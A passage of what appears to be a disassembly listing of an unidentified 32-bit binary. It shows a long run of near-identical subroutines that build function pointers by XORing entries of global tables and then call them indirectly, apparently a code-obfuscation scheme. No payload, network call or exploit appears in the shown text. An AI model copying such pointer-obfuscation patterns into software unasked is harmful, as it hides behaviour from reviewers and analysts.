[ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A89C8 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A89C8: ; CODE XREF: sub_4A8937+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8937 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8A34 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED998o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0A7h mov [ebp+var_2C], 94h mov [ebp+var_28], 1Eh mov [ebp+var_24], 0E2h mov [ebp+var_20], 16h mov [ebp+var_1C], 0D8h mov [ebp+var_18], 3Ch mov [ebp+var_14], 54h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A8AC5 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A8AC5: ; CODE XREF: sub_4A8A34+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8A34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8B31 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED99Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0A8h mov [ebp+var_2C], 0F6h mov [ebp+var_28], 26h mov [ebp+var_24], 88h mov [ebp+var_20], 0Ch mov [ebp+var_1C], 0E8h mov [ebp+var_18], 2Bh mov [ebp+var_14], 2Ch mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A8BC2 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A8BC2: ; CODE XREF: sub_4A8B31+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8B31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8C2E proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9A0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 2Dh mov [ebp+var_2C], 1Dh mov [ebp+var_28], 15h mov [ebp+var_24], 54h mov [ebp+var_20], 5Bh mov [ebp+var_1C], 21h mov [ebp+var_18], 36h mov [ebp+var_14], 0DAh mov [ebp+var_10], 0Ch mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ch and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A8CBF mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A8CBF: ; CODE XREF: sub_4A8C2E+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8C2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8D2B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9A4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0FBh mov [ebp+var_2C], 23h mov [ebp+var_28], 79h mov [ebp+var_24], 68h mov [ebp+var_20], 25h mov [ebp+var_1C], 0F4h mov [ebp+var_18], 0F2h mov [ebp+var_14], 7Dh mov [ebp+var_10], 0Ch mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ch and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A8DBC mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A8DBC: ; CODE XREF: sub_4A8D2B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8D2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8E28 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9A8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0D9h mov [ebp+var_2C], 1Dh mov [ebp+var_28], 0DEh mov [ebp+var_24], 35h mov [ebp+var_20], 0EBh mov [ebp+var_1C], 71h mov [ebp+var_18], 2Ah mov [ebp+var_14], 2Dh mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A8EB8 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A8EB8: ; CODE XREF: sub_4A8E28+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8E28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A8F24 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9ACo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7 mov [ebp+var_2C], 0C6h mov [ebp+var_28], 0BFh mov [ebp+var_24], 56h mov [ebp+var_20], 45h mov [ebp+var_1C], 9Ah mov [ebp+var_18], 75h mov [ebp+var_14], 74h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A8FB5 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A8FB5: ; CODE XREF: sub_4A8F24+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A8F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9021 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9B0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0D8h mov [ebp+var_2C], 95h mov [ebp+var_28], 5Dh mov [ebp+var_24], 56h mov [ebp+var_20], 0Bh mov [ebp+var_1C], 80h mov [ebp+var_18], 17h mov [ebp+var_14], 0B0h mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A90B2 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A90B2: ; CODE XREF: sub_4A9021+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9021 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A911E proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9B4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0C3h mov [ebp+var_2C], 3 mov [ebp+var_28], 0C8h mov [ebp+var_24], 9Ah mov [ebp+var_20], 89h mov [ebp+var_1C], 1Ah mov [ebp+var_18], 69h mov [ebp+var_14], 91h mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A91AF mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A91AF: ; CODE XREF: sub_4A911E+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A911E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A921B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9B8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 22h mov [ebp+var_2C], 0A8h mov [ebp+var_28], 15h mov [ebp+var_24], 98h mov [ebp+var_20], 57h mov [ebp+var_1C], 0B7h mov [ebp+var_18], 8Eh mov [ebp+var_14], 38h mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A92AC mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A92AC: ; CODE XREF: sub_4A921B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A921B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9318 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9BCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0A4h mov [ebp+var_2C], 98h mov [ebp+var_28], 0B4h mov [ebp+var_24], 2Fh mov [ebp+var_20], 2 mov [ebp+var_1C], 96h mov [ebp+var_18], 59h mov [ebp+var_14], 0DDh mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A93A8 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A93A8: ; CODE XREF: sub_4A9318+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9414 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9C0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 49h mov [ebp+var_2C], 16h mov [ebp+var_28], 0CFh mov [ebp+var_24], 18h mov [ebp+var_20], 99h mov [ebp+var_1C], 0E0h mov [ebp+var_18], 90h mov [ebp+var_14], 5Ah mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A94A5 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A94A5: ; CODE XREF: sub_4A9414+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9414 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A9511 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9C4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 26h mov [ebp+var_2C], 8Dh mov [ebp+var_28], 0D7h mov [ebp+var_24], 73h mov [ebp+var_20], 0CBh mov [ebp+var_1C], 1Fh mov [ebp+var_18], 1Eh mov [ebp+var_14], 65h mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A959F mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A959F: ; CODE XREF: sub_4A9511+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A9511 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A960B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED9C8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp 